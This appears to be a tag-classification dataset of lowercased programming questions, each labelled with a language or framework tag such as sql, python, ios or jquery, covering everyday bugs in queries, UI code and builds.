sql query pulling incorrect values  my sql query is pulling incorrect data  i am sure i setup my query incorrectly. <strong>my query is below:</strong>   <pre><code>with cte1 as     (      select     o.partno       o.jobno       po.ponum       cast(po.dateent as date) as dateent       row_number() over(partition by o.jobno order by po.ponum desc) as rownum      from         orderdet as o      inner join podet as pod         on o.partno = pod.partno      inner join po as po         on pod.ponum = po.ponum      where         o.partno =  1234       group by         po.ponum           po.dateent           o.partno           o.jobno      )  select * from cte1 where rownum = 1 </code></pre>   <strong>sample results are below:</strong>   <pre><code>+--------+-------+-------+-----------+ | partno | jobno | ponum |  dateent  | +--------+-------+-------+-----------+ |   1234 |     1 |    20 | 3/30/2017 | |   1234 |     2 |    20 | 3/30/2017 | |   1234 |     3 |    20 | 3/30/2017 | |   1234 |     4 |    20 | 3/30/2017 | |   1234 |     5 |    20 | 3/30/2017 | |   1234 |     6 |    20 | 3/30/2017 | |   1234 |     7 |    20 | 3/30/2017 | |   1234 |     8 |    20 | 3/30/2017 | |   1234 |     9 |    20 | 3/30/2017 | +--------+-------+-------+-----------+ </code></pre>   the issue is  there are only 4 <code>jobnos</code> on <code>ponum</code> 20 for <code>partno</code> 1234.    <strong>the actual results should read:</strong>   <pre><code>+--------+-------+-------+-----------+ | partno | jobno | ponum |  dateent  | +--------+-------+-------+-----------+ |   1234 |     3 |    20 | 3/30/2017 | |   1234 |     4 |    20 | 3/30/2017 | |   1234 |     7 |    20 | 3/30/2017 | |   1234 |     9 |    20 | 3/30/2017 | +--------+-------+-------+-----------+ </code></pre>   there are 9 <code>jobnos</code> total on <code>partno</code> 1234 ever  but on earlier <code>ponums.</code>and my query seems to be pulling all <code>jobnos</code> and applying the most recent <code>ponum</code> to it and displaying the result. <code>jobnos</code> 1 2 5 6 8 have nothing to do with <code>ponum</code> 20 and have never been applied to it.,sql
blink $scope element outside ng-view  i m new in angular but have some basic. i build menu with a number of items in the list. the menu is in different controller. each time i change a view (ng-view) by route the number of items blink - i suspect that t $scope is refresh. and this is ok  but i want to refresh the number when i add new item  note everytime.    my controller:    list i use for ng-view  naviagtion use like simple controller.   <pre><code>function list($scope  $location  inbox) {     $scope.inbox = inbox.query();  };  function navigation($scope  inbox) {     $scope.inbox_number = inbox.getcount();  } </code></pre>   html:   <pre><code>&lt;div ng-controller= navigation &gt;   {{ inbox_number.count }} &lt;/div&gt;  &lt;div ng-view&gt;&lt;/div&gt; </code></pre>   maybe i m doing something wrong but how to achieve a structure like: (navigation controller)    (menu)    <strong>customers: 3</strong>    (list view)   <ol> <li>customer 1</li> <li>customer 2</li> <li>customer 3</li> </ol>   and when i add new customer than my menu will refresh  when i change view (list view -> add customer) my menu will not refresh,angularjs
how to automatically update table when values are added in sql  i have a table:    <strong>vacation_days</strong>:   <pre><code>id    name     work_days      hire -------------------------------------  1    john        369       20151226  2    mike        767       20141123  3    josh       1166       20131020  </code></pre>   there is a formula to get hire:   <pre><code>update vacation_days set work_days = datediff(curdate() date(hire)) </code></pre>   however if i add a new row i get null values:   <pre><code>id    name     work_days      hire -------------------------------------  1    john        369       20151226  2    mike        767       20141123  3    josh       1166       20131020   4    richard    null       20120623 </code></pre>   i have tried to use a trigger like so:   <pre><code>create trigger oninsert before insert on vacation_days for each row begin set new.work_days = datediff(curdate() date(hire)) end; </code></pre>   however i get an error:   <pre><code> you have an error in your sql syntax; check the manual that corresponds to   your mysql server version for the right syntax to use near     vacation_days  for each row set work_days = datediff(curdate()  date  (new.hire))  at line 1 </code></pre>,mysql
html form won t validate  i made an html form for a client programming project i am working on. the form is not supposed to be connected to a server for the project  but it needs to have validation. i have tried using  required  but it doesn t seem to work. adding in  placeholder  works though. i don t know what i m doing wrong.   <pre><code>&lt;div id= details  style= right:30px; &gt;     &lt;form name= details  method= post  id= detailsform  onsubmit= return validateform() &gt;         first name:&lt;br&gt; &lt;input type= text  name= firstname  required&gt;&lt;br&gt;&lt;br&gt;         email address:&lt;br&gt; &lt;input type= email  name= emailaddress  placeholder= enter a valid email address  required&gt;&lt;br&gt;&lt;br&gt;         &lt;input type= button  value= submit  onclick= slideoff( details ); /&gt;         &lt;p&gt;sign up for our daily newsletter all about istanbul - the greatest city in the world!&lt;/p&gt;     &lt;/form&gt;      &lt;/div&gt; </code></pre>,html
ios linker command failed with exit code 1 (use -v to see invocation) error for adhoc scheme  i am having problem building my project with adhoc scheme. everything works fine (debug and release schemes). error:   <pre><code>ld /users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/intermediates/myapp.build/adhoc-iphoneos/myapp.build/objects-normal/armv7/myapp normal armv7     cd  /users/jenaveve/nachiketapps/myapp tee booking copy/myapp_ios      export iphoneos_deployment_target=8.0     export path= /applications/xcode.app/contents/developer/platforms/iphoneos.platform/developer/usr/bin:/applications/xcode.app/contents/developer/usr/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin      /applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/clang -arch armv7 -isysroot /applications/xcode.app/contents/developer/platforms/iphoneos.platform/developer/sdks/iphoneos10.1.sdk -l/users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/products/adhoc-iphoneos -l/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googleanalytics/libraries -l/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/parsecrashreporting -l/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios -l/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/googleconversiontrackingsdk-ios-3.2.0 -l/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/googleconversiontrackingsdk-ios-3.4.0 -f/users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/products/adhoc-iphoneos -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/crashlytics/ios -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/fabric/ios -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/firebaseanalytics/frameworks/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/firebaseinstanceid/frameworks/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/google/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googleapputilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googleauthutilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googleinterchangeutilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googlenetworkingutilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googlesignin/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googlesymbolutilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/pods/googleutilities/frameworks -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/hockeysdkcrashonly -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/hockeysdk-ios/hockeysdk.embeddedframework -f/users/jenaveve/nachiketapps/myapp\ tee\ booking\ copy/myapp_ios/hockeysdk-ios/hockeysdkcrashonly -filelist /users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/intermediates/myapp.build/adhoc-iphoneos/myapp.build/objects-normal/armv7/myapp.linkfilelist -xlinker -rpath -xlinker @executable_path/frameworks -miphoneos-version-min=8.0 -dead_strip -xlinker -object_path_lto -xlinker /users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/intermediates/myapp.build/adhoc-iphoneos/myapp.build/objects-normal/armv7/myapp_lto.o -fobjc-arc -fobjc-link-runtime -objc -objc -lbolts -lgoogleanalytics -lmzappearance -lmzformsheetpresentationcontroller -lparse -lparsecrashreporting -lparsecrashreportinglib -lc++ -lsqlite3 -lstdc++ -lstdc++.6 -lz -framework adsupport -framework addressbook -framework assetslibrary -framework audiotoolbox -framework cfnetwork -framework coredata -framework corefoundation -framework coregraphics -framework corelocation -framework coremotion -framework coretext -framework crashlytics -framework fabric -framework firebaseanalytics -framework firebaseinstanceid -framework foundation -framework gglcore -framework gglsignin -framework googleapputilities -framework googleauthutilities -framework googleinterchangeutilities -framework googlenetworkingutilities -framework googlesignin -framework googlesymbolutilities -framework googleutilities -framework messageui -framework quartzcore -framework safariservices -framework security -framework storekit -framework systemconfiguration -framework uikit -weak_framework accounts -weak_framework social -framework messageui -framework corefoundation -framework fbsdksharekit -framework uikit -framework fbsdkloginkit -framework accounts -framework social -framework systemconfiguration -framework safariservices -framework addressbook -framework corebluetooth -framework accelerate -framework adsupport -lsqlite3 -framework quartzcore -framework audiotoolbox -framework googlemaps -lstdc++.6 -lz -framework storekit -framework security -framework mobilecoreservices -framework corelocation -framework coregraphics -framework cfnetwork -lsqlite3.0 -lc++ -framework fbsdkcorekit -licucore -framework mapkit -lgoogleconversiontracking -framework glkit -framework opengles -framework imageio -framework coredata -framework avfoundation -lpods-myapp -xlinker -dependency_info -xlinker /users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/intermediates/myapp.build/adhoc-iphoneos/myapp.build/objects-normal/armv7/myapp_dependency_info.dat -o /users/jenaveve/library/developer/xcode/deriveddata/myapp-cfuhpfaznacxuqbiacxarbbrnanq/build/intermediates/myapp.build/adhoc-iphoneos/myapp.build/objects-normal/armv7/myapp  ld: warning: directory not found for option  -l/users/jenaveve/nachiketapps/myapp tee booking copy/myapp_ios/googleconversiontrackingsdk-ios-3.2.0  ld: warning: directory not found for option  -f/users/jenaveve/nachiketapps/myapp tee booking copy/myapp_ios/hockeysdkcrashonly  ld: warning: directory not found for option  -f/users/jenaveve/nachiketapps/myapp tee booking copy/myapp_ios/hockeysdk-ios/hockeysdk.embeddedframework  ld: warning: directory not found for option  -f/users/jenaveve/nachiketapps/myapp tee booking copy/myapp_ios/hockeysdk-ios/hockeysdkcrashonly  ld: library not found for -lbolts clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   if i edit my adhoc scheme and set run configuration to debug  project builds successfully. what is the problem,ios
very simple for loop very strange resault  i know  its the most simple thing to do   but its not working !    i have this :   <pre><code>static float px=50; static float py=40;     for(int j=0;j&lt;10;j++)     {        for(int i=0;i&lt;10;i++)        {             pixels[i]=cgpointmake( px+(i*32)    py+(j*32)   );         }      }      for(int i=0;i&lt;10;i++)          nslog(@ %@  nsstringfromcgpoint(pixels[i])); </code></pre>   it seems that the j is get a garbage values. i get the first 10 points with <strong>good</strong> point.x values   and <strong>strange</strong> point.y values that is not incremeant.,objective-c
difference between normal list and dict.items() <pre><code>help(difflib.get_close_matches) help on function get_close_matches in module difflib:  get_close_matches(word  possibilities  n=3  cutoff=0.6) use sequencematcher to return list of the best  good enough  matches.  word is a sequence for which close matches are desired (typically a string). possibilities is a list of sequences against which to match               word(typically a list of strings). </code></pre>   i can use dict.keys() as the parameter  possibilities  in get_close_matches where  possibilities  expects a list. but why i can t access dict.items() as a normal list like a[0]  a[1] (a is a list),python
how to create a device specific app in objective c  i want to create an app which is specific to the device type.say my app should work only on  iphone but not on ipad or ipod even if it (the app) has common features.,objective-c
activerecord::statementinvalid (ocierror: ora-00001: unique constraint (xxxxxxxx) violated  i have developed a small ror app(ruby 1.8.7  rails 2.1.0  rubygem 0.9.4) a few years ago and now i moved the app on windows 2008 server.    i have a weird issue that insert doesn t work all the time. this is the error message and there is no duplicated pk insertion when i check db table.    activerecord::statementinvalid (ocierror: ora-00001: unique constraint (xxxxxxxx) violated: insert into xxxxxx (xxxx  xxxx  xxxx  xxxx  ......) ... ... ...    i am the only one who is testing and there are no opened sessions. i am sure production db schema and test db schema are identical. i tested with all three environments with test db schema  but didn t help.    one thing to note is that after i get the ror error message  if i just hit f5 key a few times  the insertion works and i get the next successful page.    this same app is working fine on windows 2003 server though. (i just copied the app dir and all the ror setup.)    any clues,ruby-on-rails
c: error: expected  )  before  ;  token  this seems like the simplest code  but i don t know why it won t compile:   <pre><code>    switch(choice) {         case 0:             printf( %d   loop_limit); /* this line gives the error */             break;         case 1: </code></pre>   when i comment out the line it compiles fine,c
enable and disable the redraw button  i am displaying a graph on my webpage and there is a button called  redraw . so i want to disable the button redraw once clicked till the graph is drawn and enable the redraw button again.. using javascript . the graph and button is on the same page this is my javascript   <pre><code> &lt;script&gt;   $( #mybutton ).on( click   function () {   $(this).prop( disabled   true);   $(this).toggleclass( green );   $( #result ).toggle();  });  &lt;/script&gt; </code></pre>,javascript
is there a python module that provides deeper analysis of a data structure than pprint   is there anything in python that lets me dump out a random object in such a way as to see its underlying data representation     i am coming from perl where data::dumper does a reasonable job of letting me see how a data structure is laid out. is there anything that does the same thing in python     thanks!,python
css fixing of search box  height of <code>submit field</code> is slightly smaller than the <code>text input</code> field. how do i fix it     html code:    <pre><code>&lt;form name= searchbox  id= searchbox  action= #  method= post &gt; &lt;input type= text  name= query  id= query /&gt;  &lt;input type= submit  name= sub  id= sub  value= search /&gt; &lt;/form&gt; </code></pre>   css code:    <pre><code>form input[type= text ] { height: 28px; width: 300px; margin: 0; padding: 0; font-size: 15px; border: 1px solid #cccccc; }  form input[type= submit ] { height: 28px; width: 80px; margin: 0; padding: 0; font-size: 15px; background-color: #ffffff; border: 1px solid #cccccc; } </code></pre>,css
how to remove a blank array from option input in php  hi i´m trying to put an array into option input. but the problem is i get one blank option. i want to remove it.    here is what i m trying to do:   <pre><code>&lt;select name  x &gt; $myarray=array( black   blue   brown ); for ($i=0;$i&lt;=count($myarray);$i++){     if ( $row[ colur ]==$myarray[$i]) {//if value in database = array$i         echo &lt;option value= $myarray[$i]  selected&gt;$myarray[$i]&lt;/option&gt; ;     } else {         echo &lt;option value= $myarray[$i] &gt;$myarray[$i]&lt;/option&gt; ;     } } </code></pre>,php
show/hide element in dropdown depending another dropdown  i have 2 dropdown :   <pre><code>&lt;select id= mainlist &gt;     &lt;option value= 0 &gt;----&lt;/option&gt;     &lt;option value= 1 &gt;a&lt;/option&gt;     &lt;option value= 2 &gt;b&lt;/option&gt;     &lt;option value= 3 &gt;c&lt;/option&gt;     &lt;option value= 4 &gt;d&lt;/option&gt; &lt;/select&gt;  &lt;select id= childlist &gt;     &lt;option value= 0 &gt;----&lt;/option&gt;     &lt;option value= 5 &gt;e&lt;/option&gt;     &lt;option value= 6 &gt;f&lt;/option&gt;     &lt;option value= 7 &gt;g&lt;/option&gt;     &lt;option value= 8 &gt;h&lt;/option&gt; &lt;/select&gt; </code></pre>   i d like when i select the value  b  in the first dropdown hide or disable some values in the childlist. sample if : c in first hide or disable g in second  if d in first hide or disable g and h in second.    thanks,jquery
question regarding c++ lists  list dog;        .............        ............    so i added many dog objects to it.    if i call <code>dog.pop_front();</code>    does memory automatically gets deallocated   for the object that i popped out      so if i call   <pre><code>list&lt;dog*&gt; dog2; dog2.push_back(dog.front()); </code></pre>   and then i will call <code>dog.pop_front()</code> so this will work  i will assume dog as type struct.,c++
how to find the count of records based on multiple column values in single table sql <pre><code>+----+---------------+--------------+---------------+--------------+ | id | country coder | countrycodeb | countrycodebr | countrycodef | +----+---------------+--------------+---------------+--------------+ |  1 | us            | us           | us            | uk           | |  2 | us            | uk           | us            | pk           | |  3 | us            | uk           | pk            | ind          | +----+---------------+--------------+---------------+--------------+ </code></pre>   i would like to count the number of rows in this table where there are at least three distinct country codes.    in this example  for id = 1 there are only two distinct country code  but for id = 2 and 3 there are 3 (us  uk  pk) and 4 (us  uk  pk  ind)  respectively  distinct country codes. hence  the result should be 2    how can i get this . any suggestions. thanks in advance,sql
objective c - passing a float through a selector  i m trying to pass a float through a selector using  withobject:  however  it only accepts objects.    there are solutions that tell me to use [nsnumber numberwithfloat: ]  however it s messing with the value of my float. i am doing a before and after testing of the values of the float  and beforehand i get numbers such as 0.0034324  whereas afterwards they are all 0.0000000   <pre><code>[[self gameobjects] makeobjectsperformselector:@selector(update:) withobject: &lt;what to put here&gt;]]; </code></pre>   thanks in advance!    <strong>edit*</strong>    here is the context   <pre><code>-(void) tick:(float)dt{     nslog(@ %f  dt)     [[self gameobjects] makeobjectsperformselector:@selector(update:) withobject:[nsnumber numberwithfloat:dt]];  } </code></pre>   the number outputted from above is not 0    but from the selector method....   <pre><code>- (void)update:(float)dt{      nslog(@ %f  dt);  } </code></pre>   the output is 0,objective-c
why destructor id printing message again in python   here is my code   <pre><code>class third:      def __init__(self):         print( cons is called )      def __del__(self):         print( desc is called )      def setname(self firstname lastname):         self.firstname=firstname;         self.lastname=lastname;      def displayname(self):         print(self.firstname      self.lastname)  ob=third();  ob.setname( gaurav   sharma ); ob.displayname() ob.__del__() ob.displayname(); </code></pre>   and output is    <pre><code>  cons is called   gaurav   sharma     desc is called   gaurav   sharma   desc is called </code></pre>   i have destroyed object by using del and then tried to call displayname function again still it is providing distroyed values and now i m confused weather the object is destroid or not.,python
python - indexerror  im a bit confused  i have a list of 20 items  and i attempt to get the 20th one. but i get an error    example:   <pre><code>abc =  abcdefghijklmnopqrstuvwxyz  l = list() for n in range(0  20):     l.append(abc[n]) print(l[19+1]) </code></pre>   but i get an indexerror can someone tell me why,python
gridview findcontrol after dropdownlist event  i want to findcontrol on griview after ddl onselectedindexchanged event. where the target control is on the rowindex where the ddl is located..    here my codes;   <pre><code>protected void page_load(object sender  eventargs e) {     arraylist dummysource = new arraylist() {  aa    bb    cc    dd  };      if(!ispostback )     {         gridview1.datasource = dummysource;         gridview1.databind();       }  }  protected void ddlsample_onselectedindexchanged(object sender  eventargs e) {     string valuecomponent = (sender as dropdownlist).selecteditem.value;       label1.text = valuecomponent;  }   int ddlvalue; protected void gridview1_onrowdatabound(object sender  gridviewroweventargs e) {     //checking whether the row is data row     if (e.row.rowtype == datacontrolrowtype.datarow)     {         //finding the dropdown control.         dropdownlist ddlsample = (dropdownlist)e.row.findcontrol( ddlsample );         label ilbldata = (label)e.row.findcontrol( lbldata );          if (ddlsample != null)         {             switch(ilbldata.text)              {                  case  aa :                     ddlvalue = 2;                     break;                 case  bb :                     ddlvalue = 3;                     break;                 case  cc :                     ddlvalue = 4;                     break;                 case  dd :                     ddlvalue = 5;                     break;                }             for (int i = 1; i &lt;= ddlvalue; i++ )             {                 ddlsample.items.add(i.tostring() );                }         }     }  }  protected void gridview1_selectedindexchanged(object sender  eventargs e)  {     gridview gv = sender as gridview;     gv = gridview1;      label  foo = gv.selectedrow.findcontrol( lbldata ) as label ;     label2.text = foo.text;   } </code></pre>   the code get the value of the dropdownlist selected item. i m wondering on how to get the component value in the gridview. after selectedindexchange event of ddl    i made some visual photo for more clear <a href= http://i1288.photobucket.com/albums/b493/kasparov1/gridviewddl_zps3721fb97.png  rel= nofollow >http://i1288.photobucket.com/albums/b493/kasparov1/gridviewddl_zps3721fb97.png</a>    thanks in advance;,asp.net
to identify emoji character with in string and revesring all  i was getting the <code>nsstring</code> from <code>uiwebview</code> which contain iphone emoji and reversing text excluding emoji. i need to display reverse of <code>nsstring</code> again in <code>uiwebview</code> but couldn t get the reversed string with emoji. i am not identifying the emoji character in string. i have xcode 4.5 with ios 6.0. here is my code:   <pre><code> - (nsstring *) createreversestringfromstring:(nsstring *)inputstring {   if (inputstring.length &lt;= 0)     return inputstring;   nsmutablestring *mutablereversestring = [[nsmutablestring alloc]   initwithcapacity:inputstring.length];  thfor (nsinteger i = inputstring.length -1; i &gt;= 0; i--) {      nsstring *characterstring = [inputstring substringwithrange:nsmakerange(i  1)];     [mutablereversestring appendstring:characterstring];      nslog(@ mutablereversestring..%@  mutablereversestring);  }   nsstring *outputstring = [mutablereversestring copy];  [mutablereversestring release]; return [outputstring autorelease];  } </code></pre>,objective-c
send value one page to another page by using html and php  i need to send 3 text box and one drop down value to a different page i can not use the submit button i have to use the image. <strong>code:-</strong>   <pre><code>&lt;table width= 70%  border= 0  align= right  cellpadding= 0  cellspacing= 5 &gt;     &lt;tr&gt;       &lt;td width= 11%  align= right  valign= middle  class= text6 &gt;type:&lt;/td&gt;       &lt;td width= 12%  align= right  valign= middle  &gt;       &lt;select name= type &gt;           &lt;option value= alumni &gt;alumni&lt;/option&gt;           &lt;option value= student &gt;student&lt;/option&gt;           &lt;option value= faculty &gt;faculty&lt;/option&gt;           &lt;/select&gt;&lt;/td&gt;       &lt;td width= 7%  align= right  valign= middle  class= text6 &gt;name&lt;/span&gt;:&lt;/td&gt;       &lt;td width= 22%  align= right  valign= middle &gt;&lt;input type= text  name= name  id= name   style= width:130px; /&gt;&lt;/td&gt;       &lt;td width= 8%  align= right  valign= middle class= text6  &gt;course/department:&lt;/td&gt;       &lt;td width= 14%  align= right  valign= middle  &gt;&lt;input type= text  name= course   style= width:90px; /&gt;&lt;/td&gt;       &lt;td width= 5%  align= right  valign= middle class= text6 &gt;year:&lt;/td&gt;       &lt;td width= 12%  align= right  valign= middle &gt;&lt;input type= text  name= year  style= width:80px; /&gt;&lt;/td&gt;       &lt;td align= right  valign= middle &gt;&lt;a href= searchprocess.php &amp;name=value &gt;&lt;img src= images/search_box.jpg  width= 60  height= 25  border= 0  align= middle  style= border: solid 1px #cccccc;  /&gt;&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,php
using entity framework 4 and mysql.web.security.mysqlroleprovider  i am developing new web application in asp.net 4.0 with c#  my database is mysql database with 6.5.4.0 .net connector.     <strong>my web config is here below</strong>:   <pre><code>&lt; xml version= 1.0   &gt; &lt;configuration&gt;     &lt;connectionstrings&gt;         &lt;add name= myphoto_entities  connectionstring= metadata=res://*/app_code.myphotodb.csdl|res://*/app_code.myphotodb.ssdl|res://*/app_code.myphotodb.msl;                                         provider=mysql.data.mysqlclient;provider connection string=&amp;quot;server=localhost;user id=root;database=myphotodb&amp;quot;          providername= system.data.entityclient  /&gt;     &lt;/connectionstrings&gt;     &lt;system.data&gt;         &lt;dbproviderfactories&gt;             &lt;add name= mysql data provider  invariant= mysql.data.mysqlclient  description= .net framework data provider for mysql              type= mysql.data.mysqlclient.mysqlclientfactory  mysql.data  version=6.5.4.0  culture=neutral  publickeytoken=c5687fc88969c44d              /&gt;         &lt;/dbproviderfactories&gt;     &lt;/system.data&gt;     &lt;system.web&gt;         &lt;rolemanager enabled= true  defaultprovider= mysqlroleprovider &gt;             &lt;providers&gt;                 &lt;clear /&gt;                 &lt;remove name= mysqlprofileprovider  /&gt;                 &lt;add connectionstringname= myphoto_entities  name= mysqlroleprovider                  type= mysql.web.security.mysqlroleprovider                                      mysql.web version=6.5.4.0 culture=neutral publickeytoken=c5687fc88969c44d                  autogenerateschema= true  /&gt;             &lt;/providers&gt;         &lt;/rolemanager&gt;         &lt;membership defaultprovider= mysqlmembershipprovider &gt;             &lt;providers&gt;                 &lt;clear /&gt;                 &lt;add name= mysqlmembershipprovider  type= mysql.web.security.mysqlmembershipprovider  mysql.web version=6.5.4.0 culture=neutral publickeytoken=c5687fc88969c44d                  connectionstringname= myphoto_entities  enablepasswordretrieval= false                  enablepasswordreset= true  requiresquestionandanswer= false  requiresuniqueemail= true                  passwordformat= hashed  maxinvalidpasswordattempts= 5  minrequiredpasswordlength= 6                  minrequirednonalphanumericcharacters= 0  passwordattemptwindow= 10  applicationname= /                  autogenerateschema= true  /&gt;             &lt;/providers&gt;         &lt;/membership&gt;         &lt;profile&gt;             &lt;providers&gt;                 &lt;clear /&gt;                 &lt;add type= mysql.web.security.mysqlprofileprovider  mysql.web version=6.5.4.0 culture=neutral publickeytoken=c5687fc88969c44d                  name= mysqlprofileprovider  applicationname= /  connectionstringname= myphoto_entities                  autogenerateschema= true  /&gt;             &lt;/providers&gt;         &lt;/profile&gt;         &lt;compilation debug= false  targetframework= 4.0 &gt;             &lt;assemblies&gt;                 &lt;add assembly= mysql.data  version=6.5.4.0  culture=neutral  publickeytoken=c5687fc88969c44d                  /&gt;                 &lt;add assembly= mysql.data.entity  version=6.5.4.0  culture=neutral  publickeytoken=c5687fc88969c44d                  /&gt;                 &lt;add assembly= mysql.web  version=6.5.4.0  culture=neutral  publickeytoken=c5687fc88969c44d                  /&gt;                 &lt;add assembly= system.security  version=4.0.0.0  culture=neutral  publickeytoken=b03f5f7f11d50a3a                  /&gt;                 &lt;add assembly= system.data.entity  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089                  /&gt;                 &lt;add assembly= system.data.entity.design  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089                  /&gt;                 &lt;add assembly= system.web.entity  version=4.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089                  /&gt;             &lt;/assemblies&gt;             &lt;buildproviders&gt;                 &lt;add extension= .edmx  type= system.data.entity.design.aspnet.entitydesignerbuildprovider                  /&gt;             &lt;/buildproviders&gt;         &lt;/compilation&gt;         &lt;authentication mode= forms &gt;             &lt;forms loginurl= ~/account/login.aspx  timeout= 2880  /&gt;         &lt;/authentication&gt;     &lt;/system.web&gt;     &lt;system.webserver&gt;         &lt;modules runallmanagedmodulesforallrequests= true  /&gt;     &lt;/system.webserver&gt; &lt;/configuration&gt; </code></pre>   <strong>i am having a problem within my web.config and i couldn t solve it. i will really appreciate it if anyone can give me a hints in order to overcome this </strong>,.net
objective-c - stop centralizing the user location when the map updates its self  i created a simple application with the mapkit framework. when it starts  the user location is zoomed in and shown. but when i zoom out and scroll around the map  it automatically centralizes it self to the user location again after a couple of seconds. how can i stop this     in the m-file:   <pre><code>#import  appnameviewcontroller.h  #import &lt;mapkit/mapkit.h&gt;  @synthesize mapview;  - (void)mapview:(mkmapview *)mapview didupdateuserlocation:(mkuserlocation *)auserlocation     {     mapview.scrollenabled = yes;     mapview.zoomenabled = yes;     mkcoordinateregion region;     mkcoordinatespan span;     span.latitudedelta = 0.005;     span.longitudedelta = 0.005;     cllocationcoordinate2d location;     location.latitude = auserlocation.coordinate.latitude;     location.longitude = auserlocation.coordinate.longitude;     region.span = span;     region.center = location;     [mapview setregion:region animated:no];     [mapview setusertrackingmode:mkusertrackingmodenone animated:no]; } - (void)viewdidload {      [super viewdidload];      mapview = [[mkmapview alloc]            initwithframe:cgrectmake(0                                      44                                      self.mapview.bounds.size.width                                      self.mapview.bounds.size.height)            ];      mapview.showsuserlocation = yes;      mapview.maptype = mkmaptypestandard;      mapview.delegate = self;      [mapview setusertrackingmode:mkusertrackingmodenone animated:no];       [self.view addsubview:mapview]; } </code></pre>   please help me :)    best regards michal,ios
sql sum columns  i want to get the following output:    main table:   <pre><code>email       | group | id a@gmail.com | y     | 1 a@gmail.com | y     | 2  b@gmail.com | n     | 3 c@gmail.com | n     | 4 </code></pre>   join table:   <pre><code>email       | value a@gmail.com | 10 b@gmail.com | 20 c@gmail.com | 30 </code></pre>   desired result (only take the a@gmail.com value once  despite appearing in the first table twice):   <pre><code>group  | email count | sum y      | 1           | 10 n      | 2           | 50 </code></pre>   here is the sqlfiddle i ve been playing around with: <a href= http://sqlfiddle.com/#!9/c2a24d/8  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/c2a24d/8</a>,sql
better jquery scroll to plugin than scrollto   scrollto isn t the smoothest animation i ve seen and i also notice that it hasn t been updated for a while..    are there any new similar plugins that out perform scrollto or is it still top of its game,jquery
crashed: twilio_pj_pool_alloc  my app got crashed yesterday  and i am unable to understand the logs where it get crashed  please if any one can get me out of this.    <blockquote>    <code>thread : crashed: com.twilio.tccommandhandler.commandq   0  bhaasha                        0x1006b1604 twilio_pj_pool_alloc (pool_i.h:59)   1  bhaasha                        0x10065ccec -[tcmakecallcommand run] (tccommands.m:95)   2  libdispatch.dylib              0x199b717b0 _dispatch_call_block_and_release   3  libdispatch.dylib              0x199b71770 _dispatch_client_callout</code>  </blockquote>,ios
visual code - preview by opening the browser using its gui  is there any way how to preview html file by opening the browser automatically in its gui  i mean like clicking some button there so it opens tab in browser  going to my project s directory and opening index.html is just too weird. thanks.,html
replace a div with multiple class with a new class on click  my html is as follow.    <pre><code>&lt;div class= box w-25 h-25 &gt; &lt;p&gt;test&lt;/p&gt; &lt;/div&gt; &lt;div class= box w-30 h-30 &gt; &lt;p&gt;test&lt;/p&gt; &lt;/div&gt; &lt;div class= box w-30 h-30 &gt; &lt;p&gt;test&lt;/p&gt; &lt;/div&gt; </code></pre>   and my css   <pre><code>.test { width:100% height:100% z-index: 999 }  .box { .... }  .w-25{ width: 25%; } .w-30{ width: 30%; } .w-40{ width: 40%; }  .h-25{ height: 25%; } .h-30{ height: 30%; } .h-40{ height: 40%; } </code></pre>   is it possible to replace the original class with .test when i click on them individually with jquery as to create an overlay effect,jquery
subscribing to application_beginrequest  is there a way to subscribe to the httpapplication s beginrequest event from global.asax     what i want to do is add a line of code to the application_start method of global.asax which will then subscribe an object i have to the beginrequest and endrequest methods.    i know this can be done through httpmodules  but i can t use httpmodules for various reasons that i will not go in to.    the aim is to be able to add the same line of code to multiple websites  global.asax pages.,asp.net
iphone avoid save state  in my app i need to avoid the saving state  in fact  i whis that each time the user starts the app  the app will be relaunced like the first time... how can i do,iphone
